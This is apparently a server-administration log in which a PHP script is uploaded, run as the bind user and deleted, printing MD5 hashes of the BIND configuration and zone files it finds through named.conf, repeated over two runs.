MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:25:20: Establishing a connection
2026-04-23 14:25:20: 

PUT: /tmp/pkp307432

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:25:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp307432; rm /tmp/pkp307432'

2026-04-23 14:25:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:25:28: Establishing a connection
2026-04-23 14:25:28: 

PUT: /tmp/pkp146828

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:25:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp146828; rm /tmp/pkp146828'

2026-04-23 14:25:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
